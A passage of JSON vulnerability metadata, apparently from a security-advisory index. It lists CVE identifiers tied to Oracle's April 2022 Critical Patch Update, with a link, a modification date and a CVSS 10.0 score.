"CVE-2022-24329", "CVE-2022-25235", "CVE-2022-25236", "CVE-2022-25313", "CVE-2022-25314", "CVE-2022-25315"], "modified": "2022-06-16T00:00:00", "id": "ORACLE:CPUAPR2022", "href": "https://www.oracle.com/security-alerts/cpuapr2022.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}
CVE-2020-17530
